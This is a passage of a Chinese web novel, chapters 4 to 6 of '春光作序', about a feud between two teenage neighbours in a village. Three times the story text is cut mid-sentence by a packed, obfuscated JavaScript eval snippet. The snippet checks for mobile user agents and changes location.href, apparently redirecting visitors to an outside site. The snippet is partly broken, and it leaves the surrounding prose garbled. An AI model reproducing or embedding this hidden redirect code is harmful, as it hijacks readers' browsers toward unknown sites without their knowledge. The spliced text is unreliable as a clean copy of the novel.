朝霞的红漫过他挺直的脖颈,被染成金红的卷曲发梢下,是肆意张扬的笑容。历霜笑的时候,不仅眼睛会眯起来一点,卧蚕下方会折出两道浅纹。 莫名其妙有感染力,路人们看着心情好。 但同样,有些人心情不好。 比如被他上场前忧郁模样骗到的几人:“?” 他们意识到自己被耍了,当场抗议起来: “我操?钰哥!我们被骗了!” “六百六十六,那他开头装什么不会呢?!我还安慰上他了?!” “我操他哪来的?这么牛?!” 说是抗议,也都在开玩笑。这些声音此起彼伏,只有焦青钰始终没吭声。 他鹤立在攒动的人群里,双臂环抱胸口,像尊沉默的兵卫,目光锁着正朝这边滑来的历霜。 历霜在他们面前稳稳停住,脚踩板尾轻轻一勾,滑板便朝焦青钰冲来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208001|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焦青钰抬脚稳稳接住,耳畔立刻落进历霜带着调侃的口哨声。 “干嘛,装过帅了还想调戏我们家钰哥,”赵益和打趣历霜,“你真是一点也不谦虚啊。” “哪来的调戏,这是夸奖的口哨。”历霜笑着捋过额发,朝周围举着手机的人扬了扬手。 “刷——” 滑轮碾过地面的轻响陡然划破空气。 众人转头时,焦青钰已经滑出去了。 刚收起手机的路人又赶紧掏出来:“哇,又来一帅哥!这个也是大长腿啊。” 焦青钰的衣摆被风鼓成小小的帆,衬出腰侧清瘦利落的线条。他目光沉静,面无表情地滑向斜坡。 那处斜坡的边缘立着两根锈迹斑斑的护栏,中间有道半米宽的断口,尽头处离地足有两米。 历霜是直接绕过这块地方的,因为他觉得有点危险。 但焦青钰毫不犹豫地冲上了平台。 “难道他……”历霜的脚已经往那边开始走了,嘴里嘀咕,“想那样?” 其他人以为他想近距离观看,也跟着他一块走。 下一秒,焦青钰果然如历霜想的那样,左脚踩住板尾,滑板如粘在脚下般跃上护栏。 他压低重心,膝盖微屈,滑板贴着金属面快速下滑。 “哇,好厉害!”赵益和刚感叹完,旁边的历霜扬起声音:“他是不是疯了!” 赵益和愣了一下,还没问历霜为什么要这么说,有路人惊呼:“诶唷!小心!” 赵益和一转头,心脏差点跳出来。 焦青钰滑至断口处,身体猛地向上拔起,双脚带板从高台跃出。 结果落地的时候,他的身体歪了,整个人向后倒—— “卧槽!”赵益和立刻提速冲过去。 好在焦青钰反应神速,膝盖狠狠一屈卸去冲力,直接跳下滑板,往右踉跄两步,险险稳住身体。 见焦青钰没事,路人们也松了口气。 赵益和跑到焦青钰面前,拉着他的胳膊检查:“卧槽你吓死我了!你,你怎么又跳了!” 焦青钰扯回胳膊,眉峰都没动一下:“放心,我有数。” 大家跑来的时候正巧听见焦青钰这句话,每个人讲话都夹着一句“卧槽这么牛逼”。 有人问:“你啥时候偷练的啊?” 焦青钰面色如常:“第一次试。” “真是阿无乱冒充金刚钻,”叫嚷声中,一道冷沉的声音响起,“第一次跳什么装备都不戴,你想干嘛?” 焦青钰猛地抬头,淬冰的眼神直直射向历霜:“你什么语气。” 人群瞬间静得落针可闻,下意识往两边退,给历霜让出条道来。 历霜往前挪了半步,半分没怵,改用普通话重复,尾音特意拉得很长:“我就问你,你是不是嫌命长?” 山鸡赶紧拽了把历霜的袖子:“唉,好好说话。” “那好好的告示牌在那,他看了吗?”历霜语气懒懒散散,眼底却没什么温度,“现在好好说话,真出事了哭都来不及。” 山鸡张了张嘴,没再劝,只悄悄瞟了眼焦青钰。 焦青钰的脸色越来越沉。 换做别人,他在这刻已经招呼上去了。 但这是芳姑的侄子,不能动粗…… 焦青钰深吸一口气,压下涌到喉头的火,冷声道:“我对我的能力有把握,轮不到你操心。倒是你,如果是少爷病犯了,不指点人就骨头痒,劝你早点给我滚回去,别来我这里犯贱。” 犯贱? 呵。 历霜脸上的笑意敛了去,眼底那点漫不经心彻底碎了。 他抬手掳了把头发,声音比刚才要阴凉许多:“合着提醒人别把脑子当摔炮使,就成了少爷病?行啊,那我承认我少爷病,体弱多病怕沾血。哪像你啊,脑子瓦特了也能考第一……哦不对,到时候只能考第二了。” 这话一出,除了焦青钰,其他人都愣在了原地。 谁也没想到历霜嘴这么毒,伸手拉他时已经晚了—— 焦青钰的脸彻底黑透,攥紧的拳头毫无预兆地砸了出去。 “哐!” 4. 春光作序 被焦青钰砸到的栏杆微微颤动,发出余响。 众人咽下口水。 “你有本事再说一次?”焦青钰冷眼向历霜走去。 “他瞎说的!钰你冷静点!”山鸡赶紧挡在历霜身前,手忙脚乱给赵益和使眼色:“上啊!” 赵益和反应极快,一把抓过焦青钰的肩膀,强行让他往后转:“诶唷钰哥,我肚子有点饿了。你陪我买点吃的呗——” “你放开。”焦青钰不耐烦地甩开他的手。 赵益和不依不饶,再次揽过焦青钰的肩膀,嬉皮笑脸地哄着:“钰哥!这么多人看着呢!咱们去吃好吃的吧。” 焦青钰狠狠剜了历霜一眼,最终还是被赵益和半拖半拽地拉走了。 周围的人这才敢松口气,山鸡对历霜竖起大拇指:“哥们你真勇啊。” 历霜走到断掉的栏杆前,视线扫过上面斑驳的锈红痕迹,更觉得自己是对的。 那人就是不要命了。这么危险的事都做的出来。 历霜优雅地拍掉衣服上不存在的灰,语气慢慢缓下来:“有朋友出过事,所以有点应激了,没有针对谁。” “原来如此,难怪钰哥跑上去的时候你是第一个过来的。”小胖说。 刚刚历霜焦急的样子,他们都看了眼里,知道也是为了焦青钰好,所以他们才没拉偏架。 山鸡挠挠头,半是劝诫半是念叨,“虽然我是觉得你说的对,但说话还是得注意点,有点太毒了。” 旁边的人附和:“对!小心点,钰哥打人可狠了,之前把他舅打进了医院,他舅两百多斤来着。” “啊?”山鸡明显懵了,转头看向那人,“那是被打的啊,我妈说他舅是自己摔的啊。” 历霜懒洋洋地倚着旁边的栏杆,目光在说话人脸上打了个转。 那人根粗的眉毛上下蛄蛹,说话声小了点:“那是对外说的,我是路过他舅家亲眼看见的,钰哥抡起拳头就揍,可狠了。诶,你们可别跟其他人说。” 说到外人,众人的视线齐刷刷落在了历霜身上。 历霜摊开手,一脸无奈:“那你们干嘛告诉我?” 小胖理直气壮地说:“我们这是在提醒你,怕你下次再不当心直接被揍了。” “换我我也揍啊,”山鸡像是站累了,直接蹲下,“他舅确实畜生,好好的一家莫名其妙得还债。” 历霜愣了愣:“还债?什么意思?” 小胖撅着嘴地回答:“他舅几年前赌博欠债还不起钱,就把债务推给他姐,额,也就是钰哥他妈,所以现在是钰哥他们家还债。” 历霜更不理解了,不论从哪个条例看,都轮不到焦青钰家还债:“为什么会轮到他们家还钱?这么老好人?” “哪是老好人啊!老头子不要脸地跪人家门口给他儿子求情,不答应就不起来,你说能怎么办,他妈家一堆逆天人!”山鸡愤愤不平的样子像他当时就在场,冲空气挥动拳头,“你听着他妈三个姐姐一个弟弟就懂怎么回事了。” 历霜思忖片刻,问道:“什么时候的事?” “我们小学的时候吧?至少七年了。”小胖回答,其他人点头。 七年…… 难怪没听芳沁提起过这件事,那时候芳沁还在上海管儿子学习呢。 “他爸妈答应就算了,钰哥能答应这么高血压的事?”也有和历霜一样不知道内情的人,如此问道,“我咋不信呢?” “他好像写了条约,具体是啥只有二牛知道,反正二牛说对钰哥算是有利的。”山鸡说到这里才想起自己跑题了,赶紧跟历霜解释,“总之钰哥人挺好的,他就是不喜欢被人指点和城里人,刚好你两个都占了。” 历霜重复最后一段:“不喜欢城里人?” “害,”山鸡挠挠下巴解释:“我们有个同学去城里了,回来后各种装逼,还说我们,钰哥帮我们出头,再加上他爸妈打工也出了点事,他就对城里人有偏见了。” 其实说到底,他们俩之间存在一些误会,但对方也确确实实不待见他,这点没法讲和。 “谢谢你们的解释,”历霜拿出手机,“这样吧,我们加个微信——搅了你们兴致怪不好意思的,我请你们喝奶茶。” 山鸡和历霜加上好友,立刻收到了他发来的一百元红包。 等等,一百?! 这里的奶茶顶配也就五块钱,这都能买二十杯了。 山鸡说什么也要退回去,历霜坚决按住,说再推搡就拉黑,山鸡这才不情不愿地收了。 “你可真够大方的,”山鸡说,“那到时候我给你发照片。” “行,你们继续玩吧,我先走了。”历霜冲他们笑了笑,几步穿过人群走远了。 历霜走后,围观的路人们也散去。 只剩他们围在一块儿,七嘴八舌地讨论剩下的钱要买什么零食。 山鸡抚摸下巴,思忖道:“他人挺好的,感觉也挺潇洒的,没那么多弯弯绕绕。” “其实两人都挺好的,就是性格刚好冲着了,”小胖附和,心里还是有点担心,“也不知道钰哥心情好点了没。” 他望向焦青钰和赵益和的方向,将安抚的希望全寄托在赵益和身上。 赵益和什么安慰话都没说,就买了两根玉米棒,两人蹲在乘凉的台阶上慢慢啃着。 赵益和啃几口玉米,瞅几眼焦青钰。 焦青钰默默啃玉米,但眼底幽幽瘆亮,冷得像准备扛炸药把这里炸穿。 赵益和咳嗽一声,说:“那啥,我看你舅住院了,他又惹你了?” 焦青钰转过来,淡定地扫了他一眼:“他在我面前呼吸了。” 赵益和:“……” 也是焦青钰能干的事儿。 “你就不怕他报警?”赵益和问。 “他不可能报警,更何况是他自己答应那个条件的。”焦青钰顿时没了胃口,开始掰剩下的玉米,“不提他了,晦气。” “行,那我们聊聊你,”赵益和拿玉米指着焦青钰,终于扯到正事了,“你今天确实也有不对的,那么危险的事下次还是别做了,你知道我当时心跳多快吗?” 焦青钰垂眸看着手里的玉米。 他其实也不知道为什么会往那去,不过是有个声音在他耳边说“跳下去”。等他回过神,身体已经跃了出去。 视野猛地铺开,风灌进衣领,心跳擂鼓似的撞着胸口,他还没从那阵眩晕里缓过劲,就落地了。 再后来就是被那谁说了一通,焦青钰眉头几不可察地蹙了下:“最近有个声儿总让我去跳,从高的地方跳下去。” 赵益和脱口而出:“你就是把自己逼得太紧导致精神错乱了,你得像咱们这样劳逸结合。” 没想到焦青钰掀起眼皮,点了点头:“确实不能每天学习。” 赵益和有点受宠若惊,感动地捂住胸口:“你终于想通了?” 焦青钰:“我还要打工。” 赵益和:“……”好吧还是老样子。 赵益和与焦青钰认识这么多年,深知这人不是三言两语能说通的,只要焦青钰不想,那就不会做;只要他想,就算绑着他他也会完成。 赵益和只能顺着焦青钰往下说:“那你什么时候打工啊?” “明天。”焦青钰说。 “明天?这么快!”赵益和猛地大叫,偶然路过的行人被吓一跳,他再放小声,“去哪里啊?” “西户路便利店,一三五,中班,”焦青钰咬了一口玉米,“所以我过会就回去了,你记得把习题给我。” “唉行吧,”赵益和想劝焦青钰多休息会儿,最终话到嘴边又一转,“赵棠上课会路过那里,到时候我让她给你带资料,哥们也只能帮你到这了。” “谢了。”焦青钰和他碰了拳。 不知过了多久,天色彻底黑了。 小卖部的霓虹在夜色里晕开暖黄光晕,落在两人身上,拉长的影子被台阶切割成几段扭曲的光斑。 他们将残余垃圾丢进垃圾桶,赵益和伸着懒腰说:“还有我看历霜也不是故意骂你的,你别太气了。” “我没生气,”焦青钰单手插进口袋,“我跟他不是一路人,不会经常见面,压根不在意他。” “想想也挺巧,你不喜欢的点他全占了,又会阴阳,又指点你,还是个真少爷,”赵益和边走楼梯边掰着手指,“你说他会不会告诉你邻居啊?” 至于会不会回去告诉芳沁。 焦青钰觉得历霜不会。这人敢这么兴冲冲地讲话了,肯定有自己的想法,不至于告状。 焦青钰正想着,口袋里的手机震了两声。 他拿出来看消息通知——芳沁发来一条消息。 赵益和转头发现焦青钰不走了,便问:“咋了?” “有消息。”焦青钰淡淡地看着红点,点开了聊天窗口。 【芳沁】:你啥时候回来啊? 【历霜好侄儿】:已经回来了。 芳沁猛地抬头,历霜果然站在门口,握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208002|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手机冲她挥手。 芳沁立马迎上去,笑眯眯地问:“玩的怎么样啊?” 历霜第一件事不是报平安,而是去厨房洗手,等手沾着水了才回答:“还行,不过以后不要强行让我加入别人群体了,怪尴尬的。” “还有你聊不来的人?我还以为你已经加了俩好友了。”芳沁打趣道。 历霜没讲话,捧了一碗水扑上脸。 再默默掳起头发,拿毛巾擦脸,擦得鼻尖泛红了才停下。 芳沁依靠门框,静静看着他,许久才问:“明天准备干什么?我好跟你妈报备。” “这个……”历霜查看手机备忘录,“先找个地方练琴,再写个题,之后再逛逛,上次李二嫂说了个登渐桥,我去那看看。” 前面都还行,说到登渐桥,芳沁站直了身子:“去那里可以,但八点前得回来。” “为什么?”历霜转身,疑惑地看向芳沁,“闹鬼啊?” “没那么玄乎,”芳沁说,“就是去那得经过彭山路,彭山路都是ktv酒吧网吧,混混特别多,所以晚上别去。” 芳沁又怕历霜不想出去了,赶紧找补:“不过往南走的西户路还行,派出所在那,还有咱们卖熟食的便利店。” “那等哪天你去打麻将不管饭了,我去那儿吃,”历霜将西户路这个地方记到行程里,“我明天还是去乌当山吧。” 说完,他嘴角微翘,冲芳沁笑了一下。 历霜心里清楚,芳沁现在在看他的脸色。 他说不想跟团玩,芳沁肯定以为他被欺负了,怕他心情不好,所以才一个劲找话题。 果不其然,他露出这种表情后,芳沁没再跟着他走。 两人再聊了会儿有的没的,芳沁抱起灯笼去睡觉了,而历霜站在一楼院坝里看星星。 乡下的夜空格外澄澈,密密匝匝缀在墨蓝画布上,亮得像被精雕细琢过的钻石,连星轨都清晰得能数出纹路。 他深吸了口带着草木气的晚风,噔噔噔跑上二楼,先冲澡再上床。 历霜喜欢睡前看题,特别是上午错的那些题目,能记得死。 他背了一会儿英语词组,点开手机,山鸡给他发来几杯喝光的奶茶照片。 【山鸡】:谢谢了,下次再找你玩。 【雪球】:不客气 历霜切到茂文德的对话框,发去一道纠错的数学题。 茂文德应该是在等排位赛,回复速度特快。 【雪球】:1,课代表做题 【狗哥】:爹爹来啦!小霜霜今天过得咋样啊? 【雪球】:不好说,差点打起来。 历霜刚发过去没几秒,茂文德的语音电话就来了。 “咋回事啊?!”茂文德声音匆忙,一股脑全说了,“谁啊!多大啊!敢打你?!” “隔壁邻居,没真打起来,”历霜回忆公式,顺手选了c,“我也有错,看他从高处跳下来的时候,我有点应激了。不过我们俩确实不是一路人,以后避开他就行了。” “你们不是邻居吗?能避开吗?”茂文德那头传来女声播报,依稀能听见五分钟倒计时。 “姑妈说他上午不在家,那我上午出门,下午回来不就好了。”历霜手指点了点平板,“别说这个了,帮我看题,写完睡觉了。” “等我找张纸哈。”茂文德传来悉悉索索的声音,“爹爹帮你看看。” 此时,历霜预料错了两件事。 第一件事,茂文德也不会这道数学题。 第二件事,人永远无法知道计划和意外哪个先来。 他严格按着芳沁说的时间错峰出门,却总能在路上和焦青钰撞上。 第一次在早餐店碰到,两人都不屑地“啧”了声;第二次路上碰面,俩人瞥了对方一眼,擦肩而过…… 第十次在垃圾桶前碰面时,两人都沉默了。 不过三天,他们俩已经碰到十三次。 到了第四天,历霜特地在家多耗了一小时才动身。 “这下总不可能遇到了吧。”历霜暗自嘀咕。 他等墙上的时针跳到九点,立刻背上小提琴箱起身。 结果前脚刚迈过门槛,对面的门传来“咔哒”一声轻响。 一道身影紧跟着走了出来。 历霜整个人瞬间僵住,几乎是不敢置信地转头。 视线撞在一起的刹那,两人的双脚同时顿在原地。 历霜:“?” 焦青钰:“?” 5. 春光作序 七月十日这天是多云,挡了一部分阳光,意外地不算太热。杨树林像浸了油的翡翠,绿的发乌,树叶扑簌簌地交叠。 随风灌入林道,便能看见那抹站在高石前的身影。高挺的男生身穿一件白色防晒冲锋衣,里头搭着件棕色短袖,黑色长裤直直垂到鞋后跟。他的肩上稳稳架着小提琴,修长的手指握着琴弓悬在弦上。 手机架在高石上,屏幕里是两眼像葡萄似圆润的男生,开口就是鸭子一样的笑声。 “嘎哈哈哈哈——嘎哈哈哈——” 茂文德一笑,嘴里的面包屑全飞了出来。 历霜隔着屏幕嫌弃,皱着眉头:“你是玉米大炮呢,到处喷粗粮。” 茂文德听不进历霜的嫌弃,他现在听好兄弟的遭遇实在太开心了:“我早说了,你们俩抬头不见低头见的,怎么可能想避开就能避开!哈哈哈哈笑死我了,晚出门也能碰到!” “谁知道他也迟出来啊?”历霜扶额。 他自认为这三天已经将焦青钰的行程琢磨透了。 这人隔天的行程是一样的,要是八点出门,那么十一点会回来一趟,下午一点再出去;如果是早上七点出门,那么就是十二点回来,下午两点才出门。 今天按理来说应该是八点出门,结果莫名成了九点。 茂文德听完,先感叹了一下历霜的观察力,再好奇一点:“你们待会不会又碰上啊?” “所以我特地跑到这里来了,刚好今天不热,能在外头练琴。”历霜自信地回答。 这片杨树林边上是一条小溪,离芳沁家得走好一段路。 历霜哪怕在这里待到吃饭的点再回去,路上也不可能碰到焦青钰。 “原来你是为了躲他啊,”茂文德说,“我还以为你是特地过来喂蚊子的。” 历霜淡定地回答:“放心,我喷了好多驱蚊液,要是我中暑去医院,医生能说我给自己下毒了。” 茂文德鼓掌:“哇,是移动的蚊香诶。” 历霜无视茂文德的捧哏,胳膊稍微泄了点力,但站姿还是挺拔的:“行了,你要听什么?我再练练就回去吃饭了。” 他已经练了两小时了,刚好茂文德打来电话,就当休息时间。 茂文德拉远手机,露出他正在吃的南瓜吐司,声音矫揉造作:“霜霜geigei~我想听你元旦在班里表演的那个~” 历霜:“……你再用上颚共鸣,我就把电话挂了。” 历霜说归说,还是拉起了那首《波兰舞曲》。这首曲子对他而言简直是小儿科,完全不用看谱子。 按原本的计划,他去年考完英皇四级,今年高考结束考五级,但因为复读,只能明年再考了。 历霜边演奏边感慨:“林……说过,乐器是这玩意,你一天不练没什么感觉,但你要是一个月不练,能倒退一级。” 茂文德知道历霜未说出口的人是谁,一时五味杂陈,只能安慰:“历霜,阿姨让你到这里来,就是为了让你换个心情,让你别再想他了。” “……我知道。”历霜没有再回答,沉默地垂下眼皮,目光只在琴弦上。 树影像被人揉皱了的纸,贴着历霜的肩,歪歪斜斜地滑落,在地上筛出零碎的金斑。 空气里满是草木的清润,带着溪水的微凉与泥土的腥甜,这是他在音乐厅里从未有过的感触——似乎真的能让他忘记那些事,只剩下音乐顺着风淌向旷野。 一曲终了。 历霜抬眼看向支在石上的手机,才发现茂文德不知何时把爸妈拉进了视频里。 屏幕里挤着三张含笑的脸,正齐齐冲他鼓掌。 历霜赶紧放下琴弓,对着镜头半鞠了一躬:“叔叔阿姨好。” “诶唷这是哪里来的小王子啊,”阿姨笑呵呵地夸奖他,“阿姨都想拍下来发好友圈了。” “好了,超前点播结束了,下次再来就收费了。”茂文德把爸妈推出镜头。 茂文德他爸不甘心地钻回来,冲历霜招手:“你有空来我们家吃饭呀,反正文德要走了,睡一晚上都行。” “嗯。”历霜乖乖点头,“那我先挂了,拜拜。” 挂断电话,历霜拿出酒精喷雾先喷一遍琴箱外壳,再小心翼翼地放入小提琴,带上手机回去了。 历霜回来路上遇到卖糖水的小车,买了碗一元的仙草凉粉,到家门口刚好吃完。 “姑妈,我回来了。” 历霜听见厨房里有水声,以为芳沁在准备中饭,便放下琴箱走过去,“要我帮忙吗?你……” 可刚走到厨房门口,他的脚步猛地顿住,剩下的话卡在了喉咙里。 这高挑的背影,这刺猬似的后脑勺,怎么看都不可能是他那只有一六八的姑妈。 “……焦青钰?”历霜喊出那个名字。 对方关掉水龙头,转过身望着他。 焦青钰依旧是那张毫无感情的脸,鼻梁上架着他那副崴脚眼镜。 脖子下是芳沁的卡通熊围裙,白色的袖子被他撸到了胳膊肘。右胳膊肘赫然有道伤口,结着浅浅的痂。 历霜不免想,这人怎么天天那么多伤。 历霜站在原地没动,沉默了几秒才开口,语气里带着几分费解:“你怎么在这里?” 焦青钰倒是回答地干脆:“只有这里有水池。” 什么玩意?历霜深吸一口气,换个问法:“我不是问你为什么在厨房。” 焦青钰又说:“芳姑叫的。” 果然是芳沁。历霜无语了。 合着他费尽心思避开对方,最后芳沁一句话直接让焦青钰进家门了。 历霜往手上喷了点消毒酒精,从顶层的柜子里拿出玻璃水杯,缓缓倒水:“她人呢?” “买咸菜。”焦青钰也重新打开水龙头洗菜。 历霜慢慢悠悠地喝水,顺便观察焦青钰。 这人手脚倒是麻利,摘菜、洗菜、分类放好,动作流畅得像在流水线上练过似的,一点不含糊。 历霜放下杯子,走到焦青钰旁边:“你走吧,我来洗。” 让历霜意外的是,焦青钰头也没抬地摇了摇头:“不行。” 历霜愣了愣:“为什么?” 焦青钰搓着菜梗说:“我答应她的,洗完。” 历霜不解,又说:“我这不是回来了,用不着你了。” 焦青钰果断拒绝:“不行。” 芳沁的厨房本就不大,水池恰好卡在窗台前的拐角处,两人站在这儿刚好能容下,却也显得有些局促。 历霜为了不碰到焦青钰,特意侧过身子,大腿轻轻抵着橱柜门,鼻尖能闻到焦青钰身上那股淡淡的医院消毒水味。 是去看他那个舅舅了?还是去看他身上的伤疤了?历霜无从知晓。 历霜盯着清水下已经洗了一半的青菜,认真地问:“你那些朋友里,有没有说你像人机。” 焦青钰终于抬头,用毫无波澜的双眼望向他:“找事?” 不知道为什么,看见焦青钰这副不爽的样子,历霜心里反倒痛快。 他嘴角一挑,露出个看似亲切的笑容:“你觉得是找事那就是找事咯。” 这笑容在不同的人眼里是不同的感觉。 至少在焦青钰眼里,肯定是挑衅大于亲切。 无声的暗涌在两人之间翻腾,直到芳沁爽朗的声音打破僵局。 “狸狸你回来啦。” 拎着一袋菜的芳沁站在厨房门口,看见两人,高兴地套上另一个围裙:“没想到你们关系这么好呢,一回来就找小钰说话呢。” 历霜:“……” 哪看出他们俩关系好的? 历霜走过去,小声问芳沁:“你怎么想到叫他过来了?” “路上遇到他了呀,正好他没吃饭,不过多一副筷子的事儿,又不麻烦。你不在的时候我们经常一起吃饭的呀。”芳沁依旧是笑呵呵的模样,她倒是他们三人里最快活的人。 历霜感慨:“哦,原来我才是那多一副筷子。” “诶呦,我可这没这么说啊,”芳沁拍拍历霜的肩膀,又对焦青钰涵说,“行啦小钰,我来弄就好啦。你和狸狸去外面坐着,喂灯笼吃东西还是嗑瓜子都行。” 芳沁刚说完,里头的焦青钰竟直接关了水龙头,解下围裙往挂钩上一挂,一声不吭地走出了厨房。 历霜:“……” 难怪芳沁一直说焦青钰又乖又听话。这小子在家长面前是真会装乖啊。 历霜跟着出去,拉了张椅子坐在餐桌边上,观察焦青钰的下一步动作。 焦青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208003|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钰直接走到储物间拿出了一袋狗粮,拌着羊奶倒进灯笼的碗里。 灯笼见到焦青钰,尾巴跟螺旋似的一直转。也对,毕竟他们认识好几年了,焦青钰在灯笼眼里已经算半个主人。 焦青钰一说“吃”,它立刻埋头狼吞虎咽。 焦青钰蹲在灯笼旁边,指尖无意识地蹭了蹭狗毛,抬头时正对上坐在那里的人。 历霜翘着二郎腿,不紧不慢地剥着葡萄,姿态慵懒却透着股说不出的雅致,随意一瞥,视线落在他身上。 历霜的眼睛与他不同,那是被洗干净的玻璃珠,在沉沉的灯光下依旧明亮又狡黠,无法通过眼睛看透这人在想什么。 所以哪怕那天的争执,他率先看到的也是除了愤怒之外的情绪,像那种不让敌对公司看清自己想法的精明商人。 不过焦青钰也懒得揣摩别人的心思。 反正要是找事,他也不怕事。 焦青钰起身,径直走到桌前,抓了把瓜子,坐在历霜对面开始磕瓜子。 等待中饭的时间里,历霜和焦青钰依次进入厨房想要帮忙,全都被芳沁推出来了。 他们俩只能在客厅里坐着,历霜玩消消乐,焦青钰用玉米肠逗狗。 焦青钰说一声:“坐。” 灯笼立马坐端正了。 “站。” 灯笼继续坐着。 焦青钰掰了一块香肠放在手里:“一加一等于几。” 灯笼叫了两声:“汪汪!” 焦青钰递出一块,又问:“根号四等于几?” 灯笼:“汪汪!” 历霜:“……” 焦青钰淡淡地说:“某物体在传送带上以两米每秒的初速度向右运动,与传送带发生相对滑动。若传送带长度为两米,物体与传送带的摩擦因数为零点五,求物体在传送带上滑行的时间。” 历霜:“?” 这已经不是先射箭再画靶了吧?这是射大炮再装陨石坑啊。 灯笼盯着焦青钰,不负众望地再次叫了两声:“汪汪。” “真是天才。”焦青钰抚摸灯笼的脑袋,把剩下的烤肠都给灯笼了。 这算是刷新了历霜对焦青钰的印象。 他以为焦青钰就是个没礼貌的人机,没想到也有点“病”。 在灯笼做出高等函数题前,芳沁终于抄完了菜。 他们两“嗖”地站起来,一个人拿碗筷,一个人端菜。 有芳沁在,他们三人吃饭倒算是和谐。 她向来一碗水端平,给历霜夹了块红烧排骨,转头就给焦青钰添了勺蛋花汤。 历霜无辣不欢,没想到焦青钰也能吃辣,两人饭还没吃一半,辣炒黄牛肉已经见底。 历霜余光瞥见焦青钰的碗里除了腌萝卜什么都有,筷子也略过腌萝卜,直接转向清炒青菜。 他心里了然,不动声色地收回了视线。 “你去哪里练小提琴了啊?” 芳沁给两人盛了汤,随口问历霜。 历霜答得自然:“那边的杨树林里,温度湿度都适宜。” “前儿你李二嫂还打趣呢,说你干脆开个巡回吧,在每个人门口拉,我说再给你个脸盆,你都能街头卖艺了。我们几个都笑疯了,”芳沁自己先笑了,笑完发现桌上的黄牛肉见了底,起身往厨房走,“我再去搞点咸菜。” 芳沁一走,客厅里的热闹劲儿瞬间淡了下去。不过这次,沉默没持续多久就被打破了。 历霜正细嚼慢咽,听见焦青钰淡淡的声音飘过来:“杨树林里是你。” 历霜掀起眼皮,眼底带着几分得意望向对方:“怎么了?拉得好吧。” 焦青钰压根没看他,夹起米饭说:“挺好的,我本来以为闹鬼了。” 历霜嘴角的弧度猛地一扯 这小子要这样是吧?行。 他抽了张纸巾擦了擦嘴,扬声冲厨房喊:“姑妈!焦青钰说他想吃腌萝卜。” 饭还没送进嘴的焦青钰:“?!” 这么损的一招是人能想出来的? 他怒瞪历霜,对方却笑得眼睛弯成了月牙,装无辜地眨了眨眼:“嗯?怎么这么看着我呀?难道你不喜欢吃白萝卜啊?” 焦青钰:“……” 怎么会有这么幼稚又阴险的人? 6. 春光作序 焦青钰低声咬牙:“你幼不幼稚。” 历霜神态自若地耸肩:“那我跟她说你觉得难吃咯。” 焦青钰不吭声了。 芳沁端着咸菜出来,就见小侄子和小邻居“和谐”地对视着,不由心满意足:瞧瞧俩孩子多懂事啊。历霜知道焦青钰腼腆,还会帮他叫着加菜呢!到时候可得跟如宜好好夸夸历霜。 芳沁坐下后,开心地夹了几块腌萝卜放进焦青钰的碗里:“小钰喜欢吃这个萝卜啊,来来来,喜欢就多吃点。” 人的悲喜不相通。 历霜差点笑出声,焦青钰则有点绝望。 在芳沁关怀的眼神中,焦青钰最终还是吃下了这两块腌萝卜。 他特别讨厌白萝卜,哪怕腌过后依旧有那股独属于白萝卜的辛辣涩酸,他扒了两口米饭才咽下去。 焦青钰对历霜充满戒备,提防他又做局。 历霜像是知道他防备自己,没有再说任何话,慢条斯理地吃完了饭。 焦青钰这才意识到,历霜这是玩心理战。 ……玩心理战的都脏。 “你舅舅还好吧。”芳沁跟质询员一样,聊完历霜聊焦青钰。 焦青钰毫无波澜地回答:“嗯,死不了。” 芳沁赞许地点头:“有你这么照顾他的小侄子,你舅一定很开心吧。” 历霜顿住了,看了眼焦青钰。 焦青钰面不改色地点头:“对,他看到我就很激动。” 历霜:“……” 可不激动吗,把他揍进医院的人站在他病床前,吓都该吓死了。 历霜再次感叹这人真能演,又扒了两口饭。 就在这时,有金粉似的光从窗棂漏进来,一点点漫到餐桌上。 芳沁堆笑着,眼角的细纹里都盛着光:“看我多少机智,早早把被子晒出去了。诶,小钰你晒了吗?” “没有。”焦青钰摇摇头,“回去晒。” 历霜抬头向上看,他的位置正对窗户,院子里的梨树被照得透亮,叶脉在光里看得分明。 方才躲在云后头的太阳不知何时钻了出来,夏日的光透过玻璃筛下来,落在他们的发梢上、衣襟上,像蒙着层薄薄的光晕。 历霜恍惚间有种梦核感,他所处的夏天真是真实的吗? 在他不小心吃到生姜的那刻,他确定现在是真的了。 一股辛辣味直冲天灵盖,历霜立马回神,呸呸地吐掉生姜:“哇——太倒霉了吧。” 眼看历霜夹起生姜往嘴里塞的芳沁,笑着说风凉话:“哟,吃饭都能开小差呢?” 历霜擦干嘴巴,怨念地望着芳沁:“怎么不提醒我?” “我们还以为你爱吃呢。”芳沁冲焦青钰使眼色,“是不是啊小钰。” 